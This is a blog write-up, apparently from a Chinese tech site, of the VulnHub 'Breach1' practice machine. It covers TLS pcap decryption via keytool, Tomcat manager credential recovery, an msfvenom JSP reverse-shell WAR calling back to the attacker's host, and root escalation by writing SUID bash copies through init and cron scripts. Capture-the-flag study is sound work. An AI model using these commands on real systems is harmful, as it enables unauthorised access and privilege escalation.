vulnhub之Breach1

Breach1

渗透

  1. 在virtualbox中导入虚拟机后,使用nmap扫描却发现没有扫描到服务器。仔细看了Breach网站的介绍后发现,它是静态的IP,而我通常配置了桥接网卡,因此kali和它不是处于同一网段。修改virtualbox配置:
    在这里插入图片描述
    在这里插入图片描述

    禁用掉之前的桥接网卡,换成新添加的nat网卡后重启,这次扫描到了。

  2. 访问80端口,有个长得像G胖的大叔图片和一堆文字,页面没有其他按钮。使用dirb扫描网站,只有images,里边只有一些图片。打开G胖页面的源码,发现了一个页面和一串加密数据。

    在这里插入图片描述

  3. 对这串字符尝试使用base64解码后,发现它是两次base64编码,实际内容像是账号密码

    在这里插入图片描述

  4. 打开发现的地址,依次点击按钮后发现employee portal会跳转到一个登录界面,使用上一步发现的账号密码登入。

    在这里插入图片描述

    在这里插入图片描述

  5. 进入后发现该网站使用了impresscms的框架,尝试搜索相关的漏洞,发现可能存在XSS和SQL注入等(未深入挖掘)。

  6. 大概浏览了网站之后发现了如下信息:

    在这里插入图片描述

    在这里插入图片描述

    pcap是wireshark抓包导出的文件;keystore经过搜索之后知道它是用来管理密钥和证书(https://en.wikipedia.org/wiki/Java_KeyStore),keytool可以管理keystore(https://www.digitalocean.com/community/tutorials/java-keytool-essentials-working-with-java-keystores)。

  7. wireshark解密HTTPS是需要PKCS#12类型的文件(本人对TLS协议了解不深入),因此我们要使用keytool转换出PKCS#12文件:keytool -importkeystore -srckeystore keystore -destkeystore keystore.p12 -deststoretype PKCS12 -srcalias tomcat -deststorepass tomcat -destkeypass tomcat

    在这里插入图片描述

  8. 解密后在当前目录下生成了keystore.p12,将该文件在wireshark中配置:edit->preferences->Protocols->TLS,在点击RSA key list后按钮,增加如下配置:

    在这里插入图片描述

    注意,协议处的http要小写。

  9. 配置完后点击ok,可以看到TLS加密的数据已经可读。选择其中一个HTTP的流量,右键选择follow->http stream后可以看到完整的一个调用过程。

    在这里插入图片描述

    在这里插入图片描述

  10. 根据包内信息,发现了/_M@nag3Me/html接口。在第一次访问的时候返回了401,因此应该是需要登陆的;第二次访问后返回了200,推断输入了正确的账号密码。因此将第二次请求中的cookie拿出来,尝试Base64解码后得到账号密码。

    在这里插入图片描述

  11. 打开网站,输入账号密码后来到tomcat的管理页面中。继续分析wireshark的包,它后边访问的接口是/cmd/cmd.jsp,但是tomcat后台看不到这个项目,因此推断是自己通过管理端部署上去的war包。使用msfvenom生成war:msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.110.4 LPORT=9999 -f war -o revshell.war。将生成的war包部署到tomcat上后,使用nv监听9999端口并访问该项目,从而得到webshell。

    在这里插入图片描述

  12. 使用python升级shell:python -c "import pty;pty.spawn('/bin/bash')"

    在这里插入图片描述

  13. 搜查一波文件,获得如下信息:

    1. 系统中存在两个账号,分别是:milton和blumbergh
    2. /var/www/5446中拿到数据库信息
  14. 连接数据库:mysql -uroot -p,连接上后查看mysql库内的user表,拿到milton的hash后的密码。将该密码撞出后的到milton信息:milton/ thelaststraw

  15. 切换到milton后先进行一波文件翻找,没找到太多有用的信息;然后sudo -l 查看sudo的信息,但是该账号没有任何的sudo权限;再使用id命令查看账号信息,发现它在一个叫adm的组内,查看该组能访问的相关信息:find / -group adm 2>/dev/null(2>/dev/null用来过滤掉没有权限的结果)。

    在这里插入图片描述

  16. 该账号可以查看syslog,打开该文件发现会有定时任务来定时执行一个脚本文件,并且是root级别的。但是这个文件并不能修改,所以没什么乱用。

    在这里插入图片描述

  17. 使用扫描工具linpeas.sh扫描系统后,发现/etc/init.d/portly.sh文件是可以修改的。在国外某博主的writeup里了解到这个文件在开机时会自动执行(不太清楚为什么,可能是ubuntu或者发行版的原因吧,暂作记录)。修改该文件,将/bin/bash复制出来,并修改其权限:cp /bin/bash /tmp/rootbash;chmod 4777 /tmp/rootbash;

  18. 重启后执行/tmp/rootbash -p即可

提权方法二

经过翻看其他人的writeup之后发现了另外一种提权的方式,同样尝试后做如下记录

  • 进入dirb命令扫出的images目录中,下载所有的图片,并使用 exiftool命令来查看图片中是否有隐藏的内容:exiftool xxx.png。发现bill.png中藏了字符串:coffeestains。可能会是密码等

    在这里插入图片描述

  • 反弹shell后,进入home目录发现有两个用户,milton的密码在mysql中。而blumbergh密码不知道,尝试在使用图片中的字符串,发现确实是密码

  • 查看sudo -l,发现了tee命令和一个shell脚本。根据之前的发现可知,这个shell脚本会以root身份定时执行,因此修改该脚本内容:echo 'cp /bin/bash /tmp/rootbash2 && chmod 4777 /tmp/rootbash2' | sudo tee /usr/share/cleanup/tidyup.sh

  • 等待几分钟后可以看到rootbash2已经生成,执行/tmp/rootbash2 -p即可拿到root的shell

    在这里插入图片描述

总结

  1. wireshark抓取https的数据包,内容是被TLS加密的,如果拿到了PKCS#12的文件,可以在TLS中配置解密
  2. keytool可以管理密钥和证书,keytool -importstore可以以指定的格式导出证书(比如PKCS#12),keytool生成的文件叫keystore
  3. /var/www下如果除了html还有其他文件,需要多留意一下
  4. id命令可以看到当前用户的信息,find / -group xxx 2>/dev/null可以搜索并筛选当前用户组所有权限的文件
  5. tee命令:将标准输入流的内容复制到指定的文件或输出流中。
  6. msfvenom命令:根据指定的信息生成EXP
  7. linpeas.sh和winpeas.sh可以扫描系统,方便提权,但是最好后边自己写一个脚本
  8. exiftool:查看或修改文件相关信息,比如修改时间等
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值